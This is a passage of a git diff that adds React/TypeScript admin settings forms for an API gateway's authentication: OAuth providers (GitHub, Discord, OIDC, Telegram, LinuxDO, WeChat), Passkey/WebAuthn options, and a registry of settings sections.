+    LinuxDOClientSecret: defaultValues.LinuxDOClientSecret ?? '',
+    LinuxDOMinimumTrustLevel: defaultValues.LinuxDOMinimumTrustLevel ?? '',
+    WeChatServerAddress: defaultValues.WeChatServerAddress ?? '',
+    WeChatServerToken: defaultValues.WeChatServerToken ?? '',
+    WeChatAccountQRCodeImageURL:
+      defaultValues.WeChatAccountQRCodeImageURL ?? '',
+  }
+
+  const form = useForm<OAuthFormValues>({
+    resolver: zodResolver(oauthSchema),
+    defaultValues: normalizedDefaults,
+  })
+
+  const onSubmit = async () => {
+    // Get raw form values directly
+    // React Hook Form treats "oidc.xxx" as nested paths, so we need to flatten
+    const rawData = form.getValues() as Record<string, unknown>
+
+    // Flatten nested oidc object back to dot notation keys
+    const flattenedData: Record<string, unknown> = {}
+
+    Object.entries(rawData).forEach(([key, value]) => {
+      if (
+        (key === 'oidc' || key === 'discord') &&
+        typeof value === 'object' &&
+        value !== null
+      ) {
+        // React Hook Form auto-nested these fields, flatten them back
+        Object.entries(value as Record<string, unknown>).forEach(
+          ([nestedKey, nestedValue]) => {
+            flattenedData[`${key}.${nestedKey}`] = nestedValue
+          }
+        )
+      } else {
+        flattenedData[key] = value
+      }
+    })
+
+    const finalData = flattenedData as OAuthFormValues
+
+    if (finalData['oidc.well_known'] && finalData['oidc.well_known'] !== '') {
+      if (
+        !finalData['oidc.well_known'].startsWith('http://') &&
+        !finalData['oidc.well_known'].startsWith('https://')
+      ) {
+        toast.error(t('Well-Known URL must start with http:// or https://'))
+        return
+      }
+
+      try {
+        const res = await axios.create().get(finalData['oidc.well_known'])
+        const authEndpoint = res.data['authorization_endpoint'] || ''
+        const tokenEndpoint = res.data['token_endpoint'] || ''
+        const userInfoEndpoint = res.data['userinfo_endpoint'] || ''
+
+        finalData['oidc.authorization_endpoint'] = authEndpoint
+        finalData['oidc.token_endpoint'] = tokenEndpoint
+        finalData['oidc.user_info_endpoint'] = userInfoEndpoint
+
+        // eslint-disable-next-line @typescript-eslint/no-explicit-any
+        form.setValue('oidc.authorization_endpoint' as any, authEndpoint)
+        // eslint-disable-next-line @typescript-eslint/no-explicit-any
+        form.setValue('oidc.token_endpoint' as any, tokenEndpoint)
+        // eslint-disable-next-line @typescript-eslint/no-explicit-any
+        form.setValue('oidc.user_info_endpoint' as any, userInfoEndpoint)
+
+        toast.success(t('OIDC configuration fetched successfully'))
+      } catch (err) {
+        // eslint-disable-next-line no-console
+        console.error(err)
+        toast.error(
+          t(
+            'Failed to fetch OIDC configuration. Please check the URL and network status'
+          )
+        )
+        return
+      }
+    }
+
+    // Find changed fields by comparing to initial values
+    const updates = Object.entries(finalData).filter(
+      ([key, value]) =>
+        value !== normalizedDefaults[key as keyof OAuthFormValues]
+    )
+
+    if (updates.length === 0) {
+      toast.info(t('No changes to save'))
+      return
+    }
+
+    // Save all changed fields
+    for (const [key, value] of updates) {
+      await updateOption.mutateAsync({ key, value: value ?? '' })
+    }
+
+    // Reset form dirty state after successful save
+    form.reset(finalData)
+  }
+
+  const handleReset = () => {
+    // React Hook Form auto-nests 'oidc.xxx' fields into { oidc: { xxx: value } }
+    // So we need to pass the same structure when resetting
+    const currentValues = form.getValues() as Record<string, unknown>
+
+    // Create reset values matching RHF's internal structure
+    const resetValues = { ...currentValues }
+
+    // Update nested oidc fields
+    if (resetValues.oidc && typeof resetValues.oidc === 'object') {
+      Object.keys(resetValues.oidc as Record<string, unknown>).forEach(
+        (key) => {
+          const flatKey = `oidc.${key}` as keyof typeof normalizedDefaults
+          if (flatKey in normalizedDefaults) {
+            ;(resetValues.oidc as Record<string, unknown>)[key] =
+              normalizedDefaults[flatKey]
+          }
+        }
+      )
+    }
+
+    // Update nested discord fields
+    if (resetValues.discord && typeof resetValues.discord === 'object') {
+      Object.keys(resetValues.discord as Record<string, unknown>).forEach(
+        (key) => {
+          const flatKey = `discord.${key}` as keyof typeof normalizedDefaults
+          if (flatKey in normalizedDefaults) {
+            ;(resetValues.discord as Record<string, unknown>)[key] =
+              normalizedDefaults[flatKey]
+          }
+        }
+      )
+    }
+
+    // Update top-level fields
+    Object.keys(resetValues).forEach((key) => {
+      if (key !== 'oidc' && key in normalizedDefaults) {
+        resetValues[key] =
+          normalizedDefaults[key as keyof typeof normalizedDefaults]
+      }
+    })
+
+    form.reset(resetValues, {
+      keepDirty: false,
+      keepDirtyValues: false,
+      keepErrors: false,
+    })
+    toast.success(t('Form reset to saved values'))
+  }
+
+  return (
+    <>
+      <FormNavigationGuard when={form.formState.isDirty} />
+
+      <SettingsSection
+        title={t('OAuth Integrations')}
+        description={t('Configure third-party authentication providers')}
+      >
+        <Form {...form}>
+          <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+            <FormDirtyIndicator isDirty={form.formState.isDirty} />
+
+            <Tabs value={activeTab} onValueChange={setActiveTab}>
+              <TabsList className='grid w-full grid-cols-6'>
+                <TabsTrigger value='github'>{t('GitHub')}</TabsTrigger>
+                <TabsTrigger value='discord'>{t('Discord')}</TabsTrigger>
+                <TabsTrigger value='oidc'>{t('OIDC')}</TabsTrigger>
+                <TabsTrigger value='telegram'>{t('Telegram')}</TabsTrigger>
+                <TabsTrigger value='linuxdo'>{t('LinuxDO')}</TabsTrigger>
+                <TabsTrigger value='wechat'>{t('WeChat')}</TabsTrigger>
+              </TabsList>
+
+              <TabsContent value='github' className='space-y-4'>
+                <FormField
+                  control={form.control}
+                  name='GitHubOAuthEnabled'
+                  render={({ field }) => (
+                    <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                      <div className='space-y-0.5'>
+                        <FormLabel className='text-base'>
+                          {t('Enable GitHub OAuth')}
+                        </FormLabel>
+                        <FormDescription>
+                          {t('Allow users to sign in with GitHub')}
+                        </FormDescription>
+                      </div>
+                      <FormControl>
+                        <Switch
+                          checked={field.value}
+                          onCheckedChange={field.onChange}
+                        />
+                      </FormControl>
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='GitHubClientId'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Client ID')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          placeholder={t('Your GitHub OAuth Client ID')}
+                          autoComplete='off'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='GitHubClientSecret'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Client Secret')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          type='password'
+                          placeholder={t('Your GitHub OAuth Client Secret')}
+                          autoComplete='new-password'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </TabsContent>
+
+              <TabsContent value='discord' className='space-y-4'>
+                <FormField
+                  control={form.control}
+                  name='discord.enabled'
+                  render={({ field }) => (
+                    <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                      <div className='space-y-0.5'>
+                        <FormLabel className='text-base'>
+                          {t('Enable Discord OAuth')}
+                        </FormLabel>
+                        <FormDescription>
+                          {t('Allow users to sign in with Discord')}
+                        </FormDescription>
+                      </div>
+                      <FormControl>
+                        <Switch
+                          checked={field.value}
+                          onCheckedChange={field.onChange}
+                        />
+                      </FormControl>
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  // eslint-disable-next-line @typescript-eslint/no-explicit-any
+                  name={'discord.client_id' as any}
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Client ID')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          placeholder={t('Your Discord OAuth Client ID')}
+                          autoComplete='off'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='discord.client_secret'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Client Secret')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          type='password'
+                          placeholder={t('Your Discord OAuth Client Secret')}
+                          autoComplete='new-password'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </TabsContent>
+
+              <TabsContent value='oidc' className='space-y-4'>
+                <FormField
+                  control={form.control}
+                  name='oidc.enabled'
+                  render={({ field }) => (
+                    <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                      <div className='space-y-0.5'>
+                        <FormLabel className='text-base'>
+                          {t('Enable OIDC')}
+                        </FormLabel>
+                        <FormDescription>
+                          {t('Allow users to sign in with OpenID Connect')}
+                        </FormDescription>
+                      </div>
+                      <FormControl>
+                        <Switch
+                          checked={field.value}
+                          onCheckedChange={field.onChange}
+                        />
+                      </FormControl>
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  // eslint-disable-next-line @typescript-eslint/no-explicit-any
+                  name={'oidc.client_id' as any}
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Client ID')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          placeholder={t('OIDC Client ID')}
+                          autoComplete='off'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='oidc.client_secret'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Client Secret')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          type='password'
+                          placeholder={t('OIDC Client Secret')}
+                          autoComplete='new-password'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='oidc.well_known'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Well-Known URL')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          placeholder={t(
+                            'https://provider.com/.well-known/openid-configuration'
+                          )}
+                          autoComplete='off'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {t('Auto-discovers endpoints from the provider')}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='oidc.authorization_endpoint'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>
+                        {t('Authorization Endpoint (Optional)')}
+                      </FormLabel>
+                      <FormControl>
+                        <Input
+                          placeholder={t('Override auto-discovered endpoint')}
+                          autoComplete='off'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='oidc.token_endpoint'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Token Endpoint (Optional)')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          placeholder={t('Override auto-discovered endpoint')}
+                          autoComplete='off'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='oidc.user_info_endpoint'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>
+                        {t('User Info Endpoint (Optional)')}
+                      </FormLabel>
+                      <FormControl>
+                        <Input
+                          placeholder={t('Override auto-discovered endpoint')}
+                          autoComplete='off'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </TabsContent>
+
+              <TabsContent value='telegram' className='space-y-4'>
+                <FormField
+                  control={form.control}
+                  name='TelegramOAuthEnabled'
+                  render={({ field }) => (
+                    <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                      <div className='space-y-0.5'>
+                        <FormLabel className='text-base'>
+                          {t('Enable Telegram OAuth')}
+                        </FormLabel>
+                        <FormDescription>
+                          {t('Allow users to sign in with Telegram')}
+                        </FormDescription>
+                      </div>
+                      <FormControl>
+                        <Switch
+                          checked={field.value}
+                          onCheckedChange={field.onChange}
+                        />
+                      </FormControl>
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='TelegramBotToken'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Bot Token')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          type='password'
+                          placeholder={t('Your Telegram Bot Token')}
+                          autoComplete='new-password'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='TelegramBotName'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Bot Name')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          placeholder={t('Your Bot Name')}
+                          autoComplete='off'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </TabsContent>
+
+              <TabsContent value='linuxdo' className='space-y-4'>
+                <FormField
+                  control={form.control}
+                  name='LinuxDOOAuthEnabled'
+                  render={({ field }) => (
+                    <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                      <div className='space-y-0.5'>
+                        <FormLabel className='text-base'>
+                          {t('Enable LinuxDO OAuth')}
+                        </FormLabel>
+                        <FormDescription>
+                          {t('Allow users to sign in with LinuxDO')}
+                        </FormDescription>
+                      </div>
+                      <FormControl>
+                        <Switch
+                          checked={field.value}
+                          onCheckedChange={field.onChange}
+                        />
+                      </FormControl>
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='LinuxDOClientId'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Client ID')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          placeholder={t('LinuxDO Client ID')}
+                          autoComplete='off'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='LinuxDOClientSecret'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Client Secret')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          type='password'
+                          placeholder={t('LinuxDO Client Secret')}
+                          autoComplete='new-password'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='LinuxDOMinimumTrustLevel'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Minimum Trust Level')}</FormLabel>
+                      <FormControl>
+                        <Input placeholder='0' autoComplete='off' {...field} />
+                      </FormControl>
+                      <FormDescription>
+                        {t('Minimum LinuxDO trust level required')}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </TabsContent>
+
+              <TabsContent value='wechat' className='space-y-4'>
+                <FormField
+                  control={form.control}
+                  name='WeChatAuthEnabled'
+                  render={({ field }) => (
+                    <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                      <div className='space-y-0.5'>
+                        <FormLabel className='text-base'>
+                          {t('Enable WeChat Auth')}
+                        </FormLabel>
+                        <FormDescription>
+                          {t('Allow users to sign in with WeChat')}
+                        </FormDescription>
+                      </div>
+                      <FormControl>
+                        <Switch
+                          checked={field.value}
+                          onCheckedChange={field.onChange}
+                        />
+                      </FormControl>
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='WeChatServerAddress'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Server Address')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          placeholder={t('https://wechat-server.example.com')}
+                          autoComplete='off'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='WeChatServerToken'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Server Token')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          type='password'
+                          placeholder={t('Server Token')}
+                          autoComplete='new-password'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='WeChatAccountQRCodeImageURL'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('QR Code Image URL')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          placeholder={t('https://example.com/qr-code.png')}
+                          autoComplete='off'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </TabsContent>
+            </Tabs>
+
+            <div className='flex gap-2'>
+              <Button type='submit' disabled={updateOption.isPending}>
+                {updateOption.isPending ? t('Saving...') : t('Save Changes')}
+              </Button>
+              <Button
+                type='button'
+                variant='outline'
+                onClick={handleReset}
+                disabled={!form.formState.isDirty || updateOption.isPending}
+              >
+                <RotateCcw className='mr-2 h-4 w-4' />
+                {t('Reset')}
+              </Button>
+            </div>
+          </form>
+        </Form>
+      </SettingsSection>
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/auth/passkey-section.tsx b/new-api/web/default/src/features/system-settings/auth/passkey-section.tsx
new file mode 100644
index 0000000..6ac4df8
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/auth/passkey-section.tsx
@@ -0,0 +1,335 @@
+import { useMemo } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { SettingsSection } from '../components/settings-section'
+import { useResetForm } from '../hooks/use-reset-form'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const passkeySchema = z.object({
+  'passkey.enabled': z.boolean(),
+  'passkey.rp_display_name': z.string(),
+  'passkey.rp_id': z.string(),
+  'passkey.origins': z.string(),
+  'passkey.allow_insecure_origin': z.boolean(),
+  'passkey.user_verification': z.enum(['required', 'preferred', 'discouraged']),
+  'passkey.attachment_preference': z.enum([
+    'none',
+    'platform',
+    'cross-platform',
+  ]),
+})
+
+type PasskeyFormValues = z.infer<typeof passkeySchema>
+
+interface PasskeySectionProps {
+  defaultValues: PasskeyFormValues
+}
+
+export function PasskeySection({ defaultValues }: PasskeySectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+
+  const formDefaults = useMemo<PasskeyFormValues>(
+    () => ({
+      ...defaultValues,
+      'passkey.origins': (defaultValues['passkey.origins'] as string)
+        .split(',')
+        .map((origin: string) => origin.trim())
+        .filter(Boolean)
+        .join('\n'),
+      'passkey.attachment_preference':
+        (defaultValues['passkey.attachment_preference'] as string) === ''
+          ? 'none'
+          : (defaultValues['passkey.attachment_preference'] as
+              | 'platform'
+              | 'cross-platform'),
+    }),
+    [defaultValues]
+  )
+
+  const form = useForm<PasskeyFormValues>({
+    resolver: zodResolver(passkeySchema),
+    defaultValues: formDefaults,
+  })
+
+  useResetForm(form, formDefaults)
+
+  const onSubmit = async () => {
+    const rawData = form.getValues() as Record<string, unknown>
+    const flattenedEntries: Array<
+      [keyof PasskeyFormValues, PasskeyFormValues[keyof PasskeyFormValues]]
+    > = []
+
+    Object.entries(rawData).forEach(([key, value]) => {
+      if (key === 'passkey' && value && typeof value === 'object') {
+        Object.entries(value as Record<string, unknown>).forEach(
+          ([nestedKey, nestedValue]) => {
+            flattenedEntries.push([
+              `passkey.${nestedKey}` as keyof PasskeyFormValues,
+              nestedValue as PasskeyFormValues[keyof PasskeyFormValues],
+            ])
+          }
+        )
+      } else {
+        flattenedEntries.push([
+          key as keyof PasskeyFormValues,
+          value as PasskeyFormValues[keyof PasskeyFormValues],
+        ])
+      }
+    })
+
+    const data = Object.fromEntries(flattenedEntries) as PasskeyFormValues
+    const updates: Array<{ key: string; value: string | boolean }> = []
+
+    Object.entries(data).forEach(([key, value]) => {
+      if (key === 'passkey.origins') {
+        const processed = (value as string)
+          .split('\n')
+          .map((origin: string) => origin.trim())
+          .filter(Boolean)
+          .join(',')
+        const currentDefault = defaultValues['passkey.origins'] as string
+        if (processed !== currentDefault) {
+          updates.push({ key, value: processed })
+        }
+      } else if (key === 'passkey.attachment_preference') {
+        const attachmentPreference =
+          value as PasskeyFormValues['passkey.attachment_preference']
+        const incoming =
+          attachmentPreference === 'none' ? '' : attachmentPreference
+        const currentDefault =
+          defaultValues['passkey.attachment_preference'] === 'none'
+            ? ''
+            : defaultValues['passkey.attachment_preference']
+        if (incoming !== currentDefault) {
+          updates.push({ key, value: incoming })
+        }
+      } else if (value !== defaultValues[key as keyof PasskeyFormValues]) {
+        updates.push({ key, value })
+      }
+    })
+
+    for (const update of updates) {
+      await updateOption.mutateAsync(update)
+    }
+  }
+
+  return (
+    <SettingsSection
+      title={t('Passkey Authentication')}
+      description={t('Configure Passkey (WebAuthn) login settings')}
+    >
+      <Form {...form}>
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <FormField
+            control={form.control}
+            name='passkey.enabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Enable Passkey')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t(
+                      'Allow users to register and sign in with Passkey (WebAuthn)'
+                    )}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='passkey.rp_display_name'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Relying Party Display Name')}</FormLabel>
+                <FormControl>
+                  <Input
+                    placeholder={t('e.g. New API Console')}
+                    {...field}
+                    value={field.value ?? ''}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'Human-readable name shown to users during Passkey prompts.'
+                  )}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='passkey.rp_id'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Relying Party ID')}</FormLabel>
+                <FormControl>
+                  <Input
+                    placeholder={t('e.g. example.com')}
+                    {...field}
+                    value={field.value ?? ''}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'The effective domain for Passkey registration. Must match the current domain or be its parent domain.'
+                  )}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='passkey.user_verification'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('User Verification')}</FormLabel>
+                <FormControl>
+                  <Select value={field.value} onValueChange={field.onChange}>
+                    <SelectTrigger>
+                      <SelectValue placeholder={t('Select requirement')} />
+                    </SelectTrigger>
+                    <SelectContent>
+                      <SelectItem value='required'>{t('Required')}</SelectItem>
+                      <SelectItem value='preferred'>
+                        {t('Recommended')}
+                      </SelectItem>
+                      <SelectItem value='discouraged'>
+                        {t('Discouraged')}
+                      </SelectItem>
+                    </SelectContent>
+                  </Select>
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'Controls whether user verification (biometrics/PIN) is required during Passkey flows.'
+                  )}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='passkey.attachment_preference'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Device Type Preference')}</FormLabel>
+                <FormControl>
+                  <Select value={field.value} onValueChange={field.onChange}>
+                    <SelectTrigger>
+                      <SelectValue placeholder={t('No preference')} />
+                    </SelectTrigger>
+                    <SelectContent>
+                      <SelectItem value='none'>{t('Unlimited')}</SelectItem>
+                      <SelectItem value='platform'>
+                        {t('Built-in Device')}
+                      </SelectItem>
+                      <SelectItem value='cross-platform'>
+                        {t('External Device')}
+                      </SelectItem>
+                    </SelectContent>
+                  </Select>
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'Built-in: phone fingerprint/face, or Windows Hello; External: USB security key'
+                  )}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='passkey.allow_insecure_origin'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Allow Insecure Origins')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t(
+                      'Permit Passkey registration on non-HTTPS origins (only recommended for development)'
+                    )}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='passkey.origins'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Allowed Origins')}</FormLabel>
+                <FormControl>
+                  <Textarea
+                    rows={4}
+                    placeholder={t('https://example.com')}
+                    {...field}
+                    value={field.value ?? ''}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'List of origins (one per line) allowed for Passkey registration and authentication.'
+                  )}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <Button type='submit'>{t('Save Changes')}</Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/auth/section-registry.tsx b/new-api/web/default/src/features/system-settings/auth/section-registry.tsx
new file mode 100644
index 0000000..baf093e
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/auth/section-registry.tsx
@@ -0,0 +1,127 @@
+import type { AuthSettings } from '../types'
+import { createSectionRegistry } from '../utils/section-registry'
+import { BasicAuthSection } from './basic-auth-section'
+import { BotProtectionSection } from './bot-protection-section'
+import { CustomOAuthSection } from './custom-oauth/custom-oauth-section'
+import { OAuthSection } from './oauth-section'
+import { PasskeySection } from './passkey-section'
+
+const AUTH_SECTIONS = [
+  {
+    id: 'basic-auth',
+    titleKey: 'Basic Authentication',
+    descriptionKey: 'Configure password-based login and registration',
+    build: (settings: AuthSettings) => (
+      <BasicAuthSection
+        defaultValues={{
+          PasswordLoginEnabled: settings.PasswordLoginEnabled,
+          PasswordRegisterEnabled: settings.PasswordRegisterEnabled,
+          EmailVerificationEnabled: settings.EmailVerificationEnabled,
+          RegisterEnabled: settings.RegisterEnabled,
+          EmailDomainRestrictionEnabled: settings.EmailDomainRestrictionEnabled,
+          EmailAliasRestrictionEnabled: settings.EmailAliasRestrictionEnabled,
+          EmailDomainWhitelist: settings.EmailDomainWhitelist,
+        }}
+      />
+    ),
+  },
+  {
+    id: 'oauth',
+    titleKey: 'OAuth Integrations',
+    descriptionKey: 'Configure third-party authentication providers',
+    build: (settings: AuthSettings) => (
+      <OAuthSection
+        defaultValues={{
+          GitHubOAuthEnabled: settings.GitHubOAuthEnabled,
+          GitHubClientId: settings.GitHubClientId,
+          GitHubClientSecret: settings.GitHubClientSecret,
+          'discord.enabled': settings['discord.enabled'],
+          'discord.client_id': settings['discord.client_id'],
+          'discord.client_secret': settings['discord.client_secret'],
+          'oidc.enabled': settings['oidc.enabled'],
+          'oidc.client_id': settings['oidc.client_id'],
+          'oidc.client_secret': settings['oidc.client_secret'],
+          'oidc.well_known': settings['oidc.well_known'],
+          'oidc.authorization_endpoint':
+            settings['oidc.authorization_endpoint'],
+          'oidc.token_endpoint': settings['oidc.token_endpoint'],
+          'oidc.user_info_endpoint': settings['oidc.user_info_endpoint'],
+          TelegramOAuthEnabled: settings.TelegramOAuthEnabled,
+          TelegramBotToken: settings.TelegramBotToken,
+          TelegramBotName: settings.TelegramBotName,
+          LinuxDOOAuthEnabled: settings.LinuxDOOAuthEnabled,
+          LinuxDOClientId: settings.LinuxDOClientId,
+          LinuxDOClientSecret: settings.LinuxDOClientSecret,
+          LinuxDOMinimumTrustLevel: settings.LinuxDOMinimumTrustLevel,
+          WeChatAuthEnabled: settings.WeChatAuthEnabled,
+          WeChatServerAddress: settings.WeChatServerAddress,
+          WeChatServerToken: settings.WeChatServerToken,
+          WeChatAccountQRCodeImageURL: settings.WeChatAccountQRCodeImageURL,
+        }}
+      />
+    ),
+  },
+  {
+    id: 'passkey',
+    titleKey: 'Passkey Authentication',
+    descriptionKey: 'Configure Passkey (WebAuthn) login settings',
+    build: (settings: AuthSettings) => (
+      <PasskeySection
+        defaultValues={{
+          'passkey.enabled': settings['passkey.enabled'],
+          'passkey.rp_display_name': settings['passkey.rp_display_name'],
+          'passkey.rp_id': settings['passkey.rp_id'],
+          'passkey.origins': settings['passkey.origins'],
+          'passkey.allow_insecure_origin':
+            settings['passkey.allow_insecure_origin'],
+          'passkey.user_verification': settings['passkey.user_verification'] as
+            | 'required'
+            | 'preferred'
+            | 'discouraged',
+          'passkey.attachment_preference': (settings[
+            'passkey.attachment_preference'
+          ] === ''
+            ? 'none'
+            : settings['passkey.attachment_preference']) as
+            | 'none'
+            | 'platform'
+            | 'cross-platform',
+        }}
+      />
+    ),
+  },
+  {
+    id: 'bot-protection',
+    titleKey: 'Bot Protection',
+    descriptionKey: 'Protect login and registration with Cloudflare Turnstile',
+    build: (settings: AuthSettings) => (
+      <BotProtectionSection
+        defaultValues={{
+          TurnstileCheckEnabled: settings.TurnstileCheckEnabled,
+          TurnstileSiteKey: settings.TurnstileSiteKey,
